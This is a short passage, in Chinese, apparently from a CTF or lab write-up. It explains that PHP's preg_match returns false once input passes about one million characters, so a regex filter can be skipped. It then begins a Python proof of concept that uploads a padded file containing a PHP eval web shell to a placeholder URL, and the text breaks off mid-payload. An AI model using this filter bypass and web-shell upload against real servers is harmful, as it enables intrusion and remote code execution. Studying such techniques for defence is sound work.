preg_match 返回的非 1 和 0,而是 false。 如果长度超过了100万,则会返回false 所以我们可以用超过100万的长度来是preg_match语句返回false从而不进入if循环来达到上传文件的目的 poc: import requests from io import BytesIO url = "http://xxx.xxx.xxx/" files = { 'file': BytesIO(b'aaa<?php eval...